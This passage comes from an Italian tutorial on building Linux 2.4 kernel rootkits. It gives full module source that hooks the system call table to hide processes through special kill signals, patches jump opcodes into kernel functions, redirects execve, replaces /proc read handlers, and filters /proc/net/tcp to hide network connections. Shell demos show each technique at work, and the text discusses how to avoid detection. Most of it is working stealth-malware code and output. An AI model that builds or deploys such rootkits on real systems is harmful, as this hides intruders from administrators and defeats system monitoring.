numero del processo. Converto in numero il nome della directory
con la nostra atoi e poi cerco nella lista se per caso gli e' 
associato qualche processo. Nel caso ce ne sia uno controllo e se e'
invisibile procedo con l'eliminarlo dall'output
*/
if ( ((name=get_task(n_atoi(dir->d_name)))&&
((name->flags&PF_INVISIBLE)==PF_INVISIBLE))) {
if (!prev) {
ret -= rec;
ptr =
(struct linux_dirent64 *) (((unsigned long) dir) +rec);
} else {

prev->d_reclen += rec;
memset(dir, 0, rec);

}
} else
prev = dir;
dir=(struct linux_dirent64 *)(((unsigned long)dir)+rec);

}
copy_to_user(dirp,ptr,ret);
}
kfree(tmp);
return ret;

}

/* Come vedete nulla di difficile, riconosco i segnali speciali ed agisco di
conseguenza*/

int n_kill(int pid, int sig) {
struct task_struct *task=get_task(pid);
if(task!=NULL) {
switch(sig) {
case HIDESIG : task->flags|=PF_INVISIBLE;
return 0;
case UNHIDESIG : task->flags&=~PF_INVISIBLE;
return 0;
default : return o_kill(pid,sig);
}
}
return -1;
}

int
init_module(void)
{
o_getdents64 = sys_call_table[SYS_getdents64];
o_kill=sys_call_table[SYS_kill];
sys_call_table[SYS_getdents64] = n_getdents64;
sys_call_table[SYS_kill]=n_kill;
EXPORT_NO_SYMBOLS;
return 0;
}
void
cleanup_module(void)
{
sys_call_table[SYS_getdents64] = o_getdents64;
sys_call_table[SYS_kill]=o_kill;
}
MODULE_LICENSE("GPL");



Questo che segue e' un piccolo programmino per controllare il nostro
modulo. Si limita a chiamare la funzione kill coi parametri "maligni"

 

 

#include <stdio.h>
#include <sys/types.h>
#include <signal.h>
#include <stdlib.h>
#define HIDE 333
#define UNHIDE 666

void usage(char *arg) {
fprintf(stderr,"Usage: %s pid command[HIDE | UNHIDE]\n",arg);
exit(-1);
}

int main(int argc,char *argv[]) {
int sig;

if(argc<3)
usage(argv[0]);

switch(strcmp(argv[2],"HIDE")) {
case 0: sig=HIDE;
break;
default: sig=UNHIDE;
}

if((sig=kill(atoi(argv[1]),sig))!=0)
fprintf(stderr,
"Errore, impossibile effettuare l'operazione richiesta\n");
return 0;
}



Testiamo:
Vortex:/tmp# insmod hide.o
Vortex:/tmp# ps | grep bash
545 pts/2 00:00:00 bash
Vortex:/tmp# ./hider 545 HIDE
Vortex:/tmp# ps | grep bash
Vortex:/tmp# ps | grep ps
Vortex:/tmp# ./hider 545 UNHIDE
Vortex:/tmp# ps | grep bash
545 pts/2 00:00:00 bash
Vortex:/tmp# ps | grep ps
2659 pts/2 00:00:00 ps
Vortex:/tmp#

Come potete vedere funziona perfettamente, e per di piu' nasconde automaticamente
anche tutti i figli di un processo nascosto. (Ricordate? Il processo viene
copiato dal padre e cosi eredita anche il nostro PF_INVISIBLE)


- 2.5 PARENTESI SUL DETECTING DI PROCESSI

Un approccio di questo tipo e' notevolmente comodo, pero' non e' del tutto
"sicuro" in quanto elimina solo alla "vista" il processo, la sua
directory in /proc continuera' ad essere presente anche se non visibile. Si
potrebbe percio' creare un programma, una specie di scanner, che provi ad
aprire tutte le possibili directory in proc. I nomi delle directory sono da
"1" a "PID_MAX", percio' basterebbe provare ad aprirle tutte in sequenza
per scoprire quali sono i processi che effettivamente sono attivi sulla
macchina. Ovviamente si puo' ovviare anche a questo problema, ma anche le
tecniche di rilevamento possono essere piu' sofisticate, e' un continuare
a rincorrersi. Piu' si va a lavorare a basso livello piu' si guadagna in
occultamento e si diventa sempre piu difficili da individuare, al tempo stesso
pero' piu' andiamo a perdere astrazione nel funzionamento del kernel piu'
aumenta la complessita' dei nostri attacchi e meno diventiamo portabili, cosa
fondamentale per questo genere di software. E' inutile creare attacchi super
se poi l'unica macchina dove in pratica funzioneranno senza problemi e' la
nostra. Comunque sia, vedremo dopo questo genere di cose, volevo solo farvi
capire che non siete in una botte di ferro :)

Note:
[1] Per una rapida e comoda visione dei sorgenti vi consiglio di andare
su http://www.iglu.org.il/lxr/ident
[2] Per ottenere un occultamento ancora piu' solido con questo tipo di approccio
bisognerebbe monitorare in modo analogo tutte le syscall della famiglia *stat.
Siccome l'implementazione di questi hook e' piuttosto semplice e ripetitiva
lo lascio come esercizio

 

- 3.1 ANCORA SUL DETECTING

Fin qui abbiamo imparato a nascondere file e processi in modo dignitoso,
ma non abbiamo ancora trovato un modo di nascondere "noi" stessi, ovvero
la presenza del nostro modulo. Tralasciamo per un attimo il "far sparire"
il modulo in se stesso, preoccupiamoci intanto di rendere invisibili, o
meglio, di rendere meno visibili i suoi effetti sul sistema.
Noi dopotutto andiamo semplicemente a modificare dei puntatori coi nostri
hook alla sys call table, ma sfortunatamente sono delle modifiche in
un posto _estremamente_ controllato e dove ? facile risalire ad eventuali
modifiche. In /boot possiamo trovare un file chiamato System.map . Questo
file, creato in fase di compilazione del kernel, contiene tutti gli
indirizzi dei simboli esportati e non, perci? conterr? anche gli indirizzi
autentici delle sys call:

Vortex:~# grep sys_getdents64 /boot/System.map-2.4.23
c015cb60 T sys_getdents64

Perci? un semplicissimo confronto degli indirizzi presenti
nella sys call table con quelli del System.map ci individuerebbe all'istante.
Bisogna dunque trovare od un altro punto dove andare ad agganciarci oppure
un altro modo di agganciarsi che non modifichi gli indirizzi delle funzioni.


- 3.2 REDIREZIONE DI QUALSIASI FUNZIONE

Con questo paragrafo andremo a lavorare ad un livello un pochettino piu' in
basso rispetto a prima, niente di complicato comunque. Questa tecnica ha
il vantaggio di permetterci di intervenire su qualsiasi funzione mantenendo
un livello di portabilit? estremamente elevato. Chiaramente, se si abusa di
questo sistema, non dobbiamo aspettarci che tutto vada sempre liscio :)

Un controllo degli indirizzi come ho descritto poco fa puo' essere fastidioso
a prima vista, ma ad un'analisi piu' approfondita possiamo notare che ?
incredibilmente stupido: un approccio simile ci puo' dire se viene
chiamata la funzione all'indirizzo corretto, ma non ci da alcuna informazione
riguardo a cosa viene effettivamente eseguito. Se, ad esempio, il codice in memoria
della syscall venisse sovrascritto da una nostra funzione, il controllo non
rileverebbe alcunch? di anomalo nonostante sia stata sostituito l'intero codice.
Chiaramente un lavoro del genere sarebbe piuttosto laborioso,
ma ci da un'indicazione sulla via da seguire, ovvero la modifica del comportamento
della funzione. Pensateci un attimo, per modificare il lavoro svolto da una
funzione non ? necessario sovrascriverla completamente, basterebbe solo fare in
modo che le prime istruzioni fossero il "richiamare" una nostra funzione, che si
occuperebbe di svolgere il lavoro senza ulteriori complicazioni.
Ad esempio, se la routine originaria fosse questa:

int saluta(void) {

printf("Ciao\n");
printf("Ciao\n");
printf("Ciao\n");
printf("Ciao\n");
exit(0);
}

e volessimo sostituirla con questa:

int saluta2(void) {

printf("Ciao ciao ciao\n");
exit(0);
}

basterebbe fare in modo che "saluta" diventi pressappoco cosi:

int saluta(void) {
saluta2();
...
..
}

Cosi non si avrebbero nemmeno problemi di dimensioni nel caso in cui la
funzione "maligna" (saluta2) fosse notevolmente piu' grande di quella benigna.
Il problemi ora sono:
1) Per sovrascriverla dobbiamo conoscere l'indirizzo della funzione
2) Trovare un sistema per "inserire" il codice maligno

Per il punto 1 la risposta ? presto data, nel caso di una syscall ad esempio
potremmo prendere direttamente l'indirizzo dalla sys call table, oppure
(per una qual sorta di ripicca:) dal System.map.
Per il punto 2 potremmo fare cosi: creiamo a "mano" delle istruzioni in
codice macchina che facciano "saltare" l'esecuzione del programma da un'altra parte
(ovvero direttamente nella nostra funzione) e poi andiamo a sovrascriverle sui
primi bytes della funzione originaria. Cosi facendo, quando verr? chiamata
la funzione "vittima" questa non far? altro che "saltare" nella nostra
e noi potremo fare tutto quel che vorremo :)
Ecco il codice di una prima implementazione di quanto detto

 

#define __KERNEL__
#define MODULE
#ifdef CONFIG_MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <string.h>

#define CODESIZE 7

extern void *sys_call_table[];
unsigned long address;

static char inj_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
/* 
Ecco la riga magica che inseriremo per farci saltare, questi byte significano:

movl $0,%eax <- Memorizza il valore 0 nel registro eax
jmp *%eax <- Salta al valore contenuto in eax

Nota: ovviamente volendo potremmo usare anche un altro registro per
effettuare queste operazioni.

Praticamente, inserisco un valore arbitrario in un registro
(valore che nel nostro caso sar? l'indirizzo della funzione maligna)
ora rappresentato da 0, e poi "salto" all'indirizzo memorizzato
cosi da modificare il flusso del programma.
Per creare questa sequenza (che in realt? sono gli opcodes delle
istruzioni coi relativi argomenti) ? sufficiente creare un piccolo
programmino che contenga queste istruzioni, compilarlo e poi disassemblare:

int main(void) {
asm volatile("movl $0,%eax\n"
"jmp *%eax\n"
);
return 0;
}

Lo compiliamo, poi con gdb lo disassembliamo ed otteniamo:

Vortex:~# gcc -ggdb test.c -o test
Vortex:~# gdb -f ./test
....
....
(gdb) disas main
....
....
0x8048344 <main+16>: mov $0x0,%eax
0x8048349 <main+21>: jmp *%eax
....
End of assembler dump.
(gdb) x/bx main+16 
0x8048344 <main+16>: 0xb8
(gdb)
0x8048345 <main+17>: 0x00
(gdb)
0x8048346 <main+18>: 0x00
(gdb)
0x8048347 <main+19>: 0x00
(gdb)
0x8048348 <main+20>: 0x00
(gdb)
0x8048349 <main+21>: 0xff
(gdb)
0x804834a <main+22>: 0xe0
(gdb)

Ecco fatto :)

*/


static char backup[CODESIZE];

int n_getdents64(void) {
printk("Funzione rediretta\n");
return -1;
}

int init_module(void) {

EXPORT_NO_SYMBOLS;

address=(unsigned long)sys_call_table[SYS_getdents64];
/* Memorizzo l'indirizzo della syscall */

memcpy(backup,(unsigned long*)address,CODESIZE);
/* Copio i primi bytes per il ripristino in caso di unload del modulo */

*(unsigned long*)&inj_code[1]=(unsigned long)n_getdents64;
/* Scrivo l'indirizzo della nuova funzione nel buffer */

memcpy((unsigned long*)address,inj_code,CODESIZE);
/* Sovrascrivo il buffer sui primi bytes della funzione originaria */

return 0;
}

void cleanup_module(void) {
memcpy((unsigned long*)address,backup,CODESIZE);
/* Ripristino i bytes originali */
}

 

Compiliamo ed inseriamo, poi

Vortex:~# ls
Funzione rediretta
ls: reading directory .: Operation not permitted
total 0
Vortex:~# rmmod redir
Vortex:~# ls
total 0
drwxrwxrwt 4 root root 4096 Mar 4 03:21 ./
drwxr-xr-x 21 root root 4096 Mar 3 18:07 ../
Vortex:~#

Molto bene, ma si puo' fare di meglio... ripensate brevemente
a tutti gli hook che abbiamo fatto fino ad ora, possono essere tutti
schematicamente riassunti in questo modo:

- Chiama la funzione originale
- Modifica l'output
- Ritorna l'output modificato

Se tenessimo un hook di questo tipo adottando la tecnica appena spiegata
combineremmo un bel pasticcio, in quanto la "funzione originale" e' proprio
quella modificata per chiamarne un altra, perci? finiremmo col richiamare
noi stessi all'infinito! Dobbiamo dunque trovare un modo di venirne fuori.
La soluzione (se volete proprio leggerla senza pensarci prima voi) ?
estremamente semplice, basta applicare la stessa tecnica...all'inverso :)
Ovvero, dalla nostra funzione maligna ripristiniamo i bytes originali,
chiamiamo la funzione corretta e perfettamente funzionante, ripristiniamo
il nostro codice di salto e proseguiamo col consueto filtraggio. Questo sistema
si puo' applicare a _qualsiasi_ funzione, in forme piu' o meno "aggressive"[1]
Rivediamo il codice di prima con questa modifica:

 

#define __KERNEL__
#define MODULE
#ifdef CONFIG_MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <string.h>

#define CODESIZE 7

extern void *sys_call_table[];
unsigned long address;

static char inj_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char backup[CODESIZE];

int (*o_getdents64)(unsigned int fd, struct dirent *dirp, unsigned int count);

int n_getdents64(unsigned int fd, struct dirent *dirp, unsigned int count) {
int ret;
printk("Funzione rediretta\n");
memcpy((unsigned long*)address,backup,CODESIZE);
ret=o_getdents64(fd,dirp,count);
memcpy((unsigned long*)address,inj_code,CODESIZE);
return ret;
}

int init_module(void) {
o_getdents64=sys_call_table[SYS_getdents64];
address=(unsigned long)sys_call_table[SYS_getdents64];
memcpy(backup,(unsigned long*)address,CODESIZE);
*(unsigned long*)&inj_code[1]=(unsigned long)n_getdents64;
memcpy((unsigned long*)address,inj_code,CODESIZE);
return 0;
}

void cleanup_module(void) {
memcpy((unsigned long*)address,backup,CODESIZE);
}

Voila' :)


Note:

[1] Volendo si puo' modificare una funzione anche nel mezzo del suo codice,
ma questo ? notevolmente piu' complesso e meno portabile, vedremo qualche
esempio in seguito.


- 3.3 REDIREZIONE DELLA EXECVE

Ora che abbiamo imparato ad agganciarci a qualsiasi cosa, vediamo subito
una redirezione semplice semplice che ci permetta di prendere confidenza con
la tecnica, quella della execve.
La SYS_execve ? quella che si occupa di far eseguire un programma quando lo
lanciamo dalla nostra shell preferita, un redirezione di questa funzione
perci? vuol dire essere tecnicamente in grado di far eseguire un programma al
posto di un altro, tutto a nostro piacimento.
A parer mio al di la dell'aspetto puramente "scenico" questa ? una cosa che
non trova grandi applicazioni, o comunque non riveste un ruolo fondamentale
come puo' essere quello della getdents64, comunque sia ? indubbio che a volte
puo' far comodo :)
Andiamo a vedere come ? fatta la sys_execve:

asmlinkage int sys_execve(struct pt_regs regs)
{
int error;
char * filename;
filename = getname((char *) regs.ebx);
/* Ricava il nome del file che sta per essere eseguito */

error = PTR_ERR(filename);
if (IS_ERR(filename))
goto out;
/* Controlla che non ci sia un errore */

error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, &regs);
/* Chiama la funzione che effettivamente svolger? il lavoro */

/* Da qui sotto in poi non ci interessa */

if (error == 0)
current->ptrace &= ~PT_DTRACE;
putname(filename);
out:
return error;
}

Come potete vedere la funzione prende in ingresso una struttura di tipo pt_regs che
rappresenta i vari registri, vengono da li presi il nome del file che sta per essere
eseguito (filename), la lista degli argomenti (char **)regs.ecx e la lista delle
variabili d'ambiente (char**)regs.edx, poi il tutto viene passato alla do_execve che
si occuper? dell'esecuzione vera e propria. Se noi ci agganciassimo direttamente alla
do_execve avremmo gia tutti i parametri pronti per fare i nostri controlli senza dover
richiamare altre funzioni, oltre ad essere ancora + difficili da individuare che non
hookando la syscall stessa. L'indirizzo della do_execve oltre ad essere presente in
System.map lo e' anche in /proc/ksyms [ovvero dove troviamo i simboli esportati] percio'
anche stavolta non abbiamo che l'imbarazzo della scelta. In piu', implementeremo il modulo
in modo che l'inserimento dell'indirizzo della funzione da redirigere venga fatto
al momento dell'inserimento del modulo nel kernel e non sia piu' "fisso", ovvero
all'interno del sorgente.

 

#define __KERNEL__
#define MODULE
#ifdef CONFIG_MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/mm.h>
#define CODESIZE 7

unsigned long address;
MODULE_PARM(address,"l");
/* Significa che il modulo avra' un parametro chiamato address di tipo long */

static char inj_code[CODESIZE]="\xb8\x00\x00\x00\x00\xff\xe0";
static char backup[CODESIZE];

char *redirect="/bin/ps";
char *redirect_to="/bin/ls";
/* Quando proveremo ad usare ps al suo posto verra' eseguito ls */

int (*o_do_execve)(char * filename, char ** argv, char ** envp, struct pt_regs * regs);

char *my_strdup(char *);

int n_do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs) {
int ret;
memcpy((unsigned long*)address,backup,CODESIZE);
if (strcmp(filename,redirect)==0)
ret=o_do_execve(my_strdup(redirect_to),argv,envp,regs);
else
ret=o_do_execve(filename,argv,envp,regs);
memcpy((unsigned long*)address,inj_code,CODESIZE);
return ret;

}

int init_module(void) {
EXPORT_NO_SYMBOLS;
o_do_execve=(void*)address;
memcpy(backup,(unsigned long*)address,CODESIZE);
*(unsigned long*)&inj_code[1]=(unsigned long)n_do_execve;
memcpy((unsigned long*)address,inj_code,CODESIZE);
return 0;
}

void cleanup_module(void) {
memcpy((unsigned long*)address,backup,CODESIZE);
}

char *my_strdup(char *parameter)
{
char *data=(char*)kmalloc(strlen(parameter)+1,GFP_KERNEL);
if(!data)
return NULL;
memset(data,'\0',strlen(parameter)+1);
memcpy(data,parameter,strlen(parameter));
return data;
}

 

Vortex:~# grep do_execve /proc/ksyms
c0154d70 do_execve_Rsmp_9c62098f
Vortex:~# insmod red.o address=0xc0154d70
Vortex:~# ps
red.o
Vortex:~# rmmod red
Vortex:~# ps
PID TTY TIME CMD
1472 pts/2 00:00:00 bash
1513 pts/2 00:00:00 ps
Vortex:~#

- CONSIDERAZIONI

Attacchi di questo tipo possono essere una vera e propria spina nel fianco
per qualcuno che deve cercare tracce della nostra presenza nel sistema dato
che possono essere messi in atto in qualunque punto del kernel alterandone
in qualsiasi modo il funzionamento. Chiaramente, piu' ci si va a nascondere
andando a modificare funzioni sempre piu' a basso livello, piu' la difficolta'
aumenta e si corre il rischio che un hook che funziona su un
determinato kernel/versione del kernel non funzioni su un'altra. Tra le altre
cose non possiamo nemmeno dare per scontata la presenza del System.map e da
/proc/ksyms potremmo non ottenere le informazioni che ci servono.
Strada senza uscita? No, tutt'altro, ma dovremo realizzare degli strumenti
appositi che ci permettano di ottenere le informazioni che ci servono.
.

- 4.1 PROC FILE SYSTEM

Modificare il comportamento delle funzioni non e' l'unica via, esiste
anche un'altra tecnica che permette di ottenere ottimi risultati
mantenendo una portabilita' eccezionale: andare ad interagire
col proc file system. Se vi ricordate, il procfs l'ho accennato quando si
trattava di capire come funzionasse il comando "ps" che "stranamente"
utilizzava una getdents64 per vedere quali fossero i processi nel sistema.
Il procfs e' un file system residente completamente in memoria kernel e viene
"generato on demand". Praticamente, solo nel momento in cui noi proviamo ad
accedere ad una delle sue entry questa viene "riempita" coi dati.
Guardate:
Vortex:/proc# ls /proc/version
-r--r--r-- 1 root root 0 Mar 4 19:35 /proc/version 
Vortex:/proc# cat version
Linux version 2.4.23 (root@Vortex) (gcc version 3.3.3 20040125 (prerelease) (Debian)) #1 SMP Thu Mar 4 16:05:48 CET 2004
Vortex:/proc#

Il file sembra essere vuoto, ma nel momento in cui ci accediamo i
dati vengono creati.
Se riuscissimo percio' a modificare il modo in cui questi dati vengono generati
(ovvero le funzioni del procfs) potremmo ingannare tutti quei programmi che si
basano su di esso senza andare a toccare la sys call table.
Come soluzione e' estremamente pulita, in quanto non si vanno
a modificare "pezzi" di funzione, ma la si sostituisce per intero modificando
solo puntatori a funzione.
Vediamo brevemente la struttura di un'entry del procfs:
[Direttamente dai sorgenti del kernel di linux]

/*
* This is not completely implemented yet. The idea is to
* create an in-memory tree (like the actual /proc filesystem
* tree) of these proc_dir_entries, so that we can dynamically
* add new files to /proc.
*
* The "next" pointer creates a linked list of one /proc directory,
* while parent/subdir create the directory structure (every
* /proc file has a parent, but "subdir" is NULL for all
* non-directory entries).
*
* "get_info" is called at "read", while "owner" is used to protect module
* from unloading while proc_dir_entry is in use
*/

typedef int (read_proc_t)(char *page, char **start, off_t off,
int count, int *eof, void *data);

typedef int (write_proc_t)(struct file *file, const char *buffer,
unsigned long count, void *data);

typedef int (get_info_t)(char *, char **, off_t, int);

struct proc_dir_entry {
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count; /* use count */
int deleted; /* delete flag */
kdev_t rdev;
};

Non e' necessario comprendere il significato di ogni campo di questa struttura,
vedremo solo quelli che ci interessano.
La struttura del procfs e' a grandi linee questa:

Il puntatore next serve per accedere agli elementi di una lista i cui nodi
rappresentano gli altri "file" del procfs presenti nella directory corrente.

Attraverso il puntatore subdir [come potrete intuire dal nome] si accede alla
sottodirectory. [Contenente a sua volta altre entry ovviamente]

E' percio' possibile scorrerlo tutto partendo dalla radice, come se fosse un fs normale.
Ora che ne abbiamo visto la struttura, focalizziamoci su cosa modificare per perseguire
i nostri scopi. Quando noi andiamo a leggere il contenuto di un file in /proc succede
approssimativamente questo:

- Il kernel rileva il nostro tentativo di lettura del file
- Il kernel attiva la funzione che genera il contenuto del file
- Noi vediamo l'output della funzione avendo l'impressione che sia sempre stato li

Le funzioni relative alla lettura/scrittura indovinate un po' dove sono....si, sono nella
struttura proc_dir_entry corrispondente :) Percio' basterebbe:

- Individuare l'entry che ci interessa
- Sostituire la funzione che viene chiamata in lettura

ed il gioco sarebbe fatto.
Vediamo un breve esempio di quanto detto fin'ora, modifichiamo la funzione di read del file /proc/version
in modo che stampi a video una nostra frase.

 

#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
#include <linux/proc_fs.h>
MODULE_LICENSE("GPL");

int (*o_proc_read_version)(char *page, char **start, off_t off, int count, int *eof, void *data);

struct proc_dir_entry *get_version(void)
{
/* Cerchiamo nella lista l'entry che ci interessa */

struct proc_dir_entry *p=proc_root_fs;
/* Il campo "name" contiene il nome dell'entry */
while((p!=NULL) && (strcmp(p->name,"version")))
p=p->next;
return p;
}


static int proc_calc_metrics(char *page, char **start, off_t off,
int count, int *eof, int len)
{
/* Direttamente dai sorgenti del kernel, questa funzione server per
"aggiustare" alcuni valori nel caso ce ne fosse bisogno
*/
if (len <= off+count) *eof = 1;
*start = page + off;
len -= off;
if (len>count) len = count;
if (len<0) len = 0;
return len;
}

int n_proc_read_version(char *page, char **start, off_t off, int count, int *eof, void *data)
{
int len;
/* Scriviamo la nostra frase nel buffer che sara' poi visualizzato */
strcpy(page,"We are evil ~;)\n");
len=strlen(page);
return proc_calc_metrics(page, start, off, count, eof, len);

}

int init_module(void) {
EXPORT_NO_SYMBOLS;
struct proc_dir_entry *version=get_version();

/* Associo il puntatore della funzione di lettura alla mio puntatore */
o_proc_read_version=version->read_proc;
/* Sostituisco il puntatore dell'entry in proc con la mia funzione */
version->read_proc=n_proc_read_version;
return 0;
}
void cleanup_module(void) 
{
/* Ripristino la funzione originaria */
(get_version())->read_proc=o_proc_read_version;
}

 

Vortex:~# insmod version.o
Vortex:~# cat /proc/version
We are evil ~;)
Vortex:~# rmmod version
Vortex:~# cat /proc/version
Linux version 2.4.23 (root@Vortex) (gcc version 3.3.3 20040125 (prerelease) (Debian)) #1 SMP Thu Mar 4 16:05:48 CET 2004
Vortex:~#


- 4.2 COME OCCULTARE LE CONNESSIONI

Ora che abbiamo qualche conoscenza in piu' vediamo di utilizzarla in modo proficuo. Netstat va a leggere le
informazioni riguardo alle connessioni proprio in /proc, e piu' precisamente in /proc/net, come si puo'
facilmente verificare attraverso strace. Questo vuol dire che possiamo nascondere qualsiasi connessione
solo lavorando col procfs senza ricorrere a tecniche primitive come l'hook della sys_write o della sys_read.
Nell'implementazione che andro' a mostrarvi e' implementato solamente l'occultamento delle connessioni tcp,
ma la tecnica e' perfettamente valida per nascondere quelle di qualsiasi altro tipo.
Come avrete visto, le connessioni tcp si trovano nel file /proc/net/tcp, vediamone il formato:

Vortex:~# cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 00000000:1A0B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 2587 1 d43dc800 300 0 0 2 -1
1: 00000000:000F 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 2601 1 ce328400 300 0 0 2 -1
Vortex:~#

Ci sono due entry numerate 0 ed 1 [i valori identificativi all'estrema sinistra], percio' le connessioni
vengono numerate da 0 ad n-1, poi abbiamo l'indirizzo locale, la porta locale, indirizzo/porta remote, lo stato ed
altre informazioni. Come e' facile intuire dai valori delle porte locali le informazioni sono in esadecimale.
Controlliamo con netstat:
Vortex:~# netstat -an
....
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:15 0.0.0.0:* LISTEN
....
Vortex:~#

ed effettivamente coincidono i valori: 000F -> 15 e 1A0B -> 6667

Mettiamo di voler nascondere tutte le connessioni da/alla porta 6667, non dovremo fare altro
che analizzare ogni riga che dovrebbe essere scritta in /proc/net/tcp e controllare la
presenza della sottostringa :1A0B : se la troviamo non "scriveremo" la riga incriminata nel
buffer di output.
Abbiamo percio' bisogno di individuare:

- L'entry che rappresenta /proc/net/tcp nella lista del procfs
- La funzione che si occupa di generare i dati che saranno scritti in /proc/net/tcp

La prima parte e' a dir poco immediata: il kernel ci mette gentilmente a disposizione un puntatore
a /proc/net che sia chiama proc_net, percio' non dovremo fare altro che fare proc_net->subdir per
accedere ai files che contiene, e li scorrere la lista di next in next fino a trovare l'entry dal
nome "tcp"
La seconda parte lo e' un po' meno, ma non per chissa' che difficolta', ma semplicemente perche' nelle
entry di /proc/net la funzione di lettura non e' la read_proc, ma bensi' la get_info. [Si puo' verificare
facilmente guardando i sorgenti del kernel]. Comunque sia, ora che ve l'ho detto e' diventata una
cosa immediata, percio' non c'e' piu' nessun problema :-)

Vortex:~# rgrep proc_net_create /usr/src/linux/* | grep tcp
...
/usr/src/linux/net/ipv4/af_inet.c: proc_net_create ("tcp", 0, tcp_get_info);
....
Vortex:~#

La funzione che si occupa di registrare una nuova entry in /proc/net e' la proc_net_create
che come ultimo argomento ha la funzione che verra' utilizzata per la generazione dell'output.
Come possiamo vedere dal grep la funzione "incriminata" e' la tcp_get_info.
Dal file /usr/src/linux/net/ipv4/tcp_ipv4.c :

#define TMPSZ 150
int tcp_get_info(char *buffer, char **start, off_t offset, int length)
{
int len = 0, num = 0, i;
off_t begin, pos = 0;
char tmpbuf[TMPSZ+1];

if (offset < TMPSZ)
len += sprintf(buffer, "%-*s\n", TMPSZ-1," sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout inode");

......
......
}

Riconoscete la stringa che viene scritta nel buffer? E' esattamente quella che abbiamo visto
guardando in /proc/net/tcp, quella che si trovava sopra l'elenco delle connessioni. Guardate
bene quanto viene scritto nel buffer, TMPSZ-1 che col \n finale diventa TMPSZ.
Verifichiamo:
Vortex:~# cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
Vortex:~# cat /proc/net/tcp | wc -c
150
Vortex:~#

Ottimo, corrisponde, e se andate a vedere anche il resto del codice noterete che vengono sempre
scritti TMPSZ bytes, ogni riga cioe' e' di lunghezza fissa. Questo ci semplifica enormemente
il lavoro di filtraggio in quanto sappiamo entro quanti bytes dobbiamo aspettarci la stringa da
filtrare e possiamo "tagliarla" di netto senza paura di danneggiare altre entry.
Osservate anche questa riga:

if (offset < TMPSZ)

Apparentemente non dice molto, ma pensateci un attimo: se il kernel chiama questa funzione
per riempire /proc/net/tcp la riga di intestazione dovra' esserci sempre, percio' perche'
mettere la sprintf dietro questa condizione? La risposta e' che non e' detto che una sola
chiamata alla tcp_get_info riesca a completare il lavoro, e nel caso in cui venga richiamata
una seconda volta il valore offset ci dice quanto abbiamo gia scritto. Nel caso in cui non
avessimo ancora scritto niente offset e' di certo minore di TMPSZ, percio' e' giusto che venga
scritta l'intestazione. Quando invece offset e' maggiore non e' necessario fare niente e
percio' viene saltato.
Per filtrare percio' dovremo:

- Leggere una riga alla volta
- Controllare se e' una riga da eliminare
- Nel caso in cui non lo sia dobbiamo patchare l'identificatore della connessione e poi
scriverla nel buffer. [Ricordate il numerino sulla sinistra? Se ci fossero 3 connessioni
e la seconda fosse nascosta gli identificatori visibili sarebbero 0 e 2, mentre invece
dovrebbero essere 0 ed 1. Quello che noi faremo sara' assicurarci che ci sia il numerino
esatto]
- Copiare il buffer modificato sul buffer originario.

Ora, ricordiamoci che la funzione potrebbe venire chiamata piu' volte, dobbiamo assicurarci
che "offset" non vada mai oltre un certo valore [ovvero la dimensione dell'output modificato
da noi] perche' potrebbe trovare valori "scomodi". Dobbiamo percio' calcolare le dimensioni
dell'output maligno e fare in modo che offset non superi mai quel valore.
Ecco l'implementazione di quanto spiegato fin'ora:

 

#define __KERNEL__
#define MODULE
#define LINUX
#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#include <asm/uaccess.h>
#include <sys/syscall.h>
#include <linux/proc_fs.h>
MODULE_LICENSE("GPL");
#define HPORT 6667 /* Nasconderemo tutte le connessioni con una porta uguale alla 6667 */
#define NET_LINE_MAX_LENGTH 150

int (*o_get_info)(char *page, char **start, off_t pos, int count);

struct proc_dir_entry *get_tcp(void)
{
/* Cerchiamo l'entry "tcp */

struct proc_dir_entry *ptr=proc_net->subdir;
while(strcmp(ptr->name,"tcp"))
ptr=ptr->next;
return ptr;
}

char *strnstr(const char *dove, const char *cosa, size_t lungo)
{
/* Controlliamo la presenza di una stringa in un'altra entro
"lungo" bytes. L'output della tcp_get_info sara' tutto "in fila"
percio' usiamo questa funzione per controllare TMPSZ bytes e cosi
andare di riga in riga
*/

char *str = strstr(dove, cosa);
if (!str)
return NULL;
if (str-dove+strlen(cosa) <= lungo)
return str;
else
return NULL;
}


/* Calcoliamo la lunghezza del "nostro output */

int get_newsize(void)
{
char page[NET_LINE_MAX_LENGTH*10+1],*start,*ptr,
porta[12];

int length=0,result,found=0;

sprintf(porta,":%04X",HPORT);
printk("%s\n",porta);
while(1) 
{
memset(page,0,sizeof(page));
/* Chiamiamo la funzione originaria e quando ha finito esci dal ciclo */
if ((result=o_get_info(page,&start,length,sizeof(page)-1))<=0)
break;

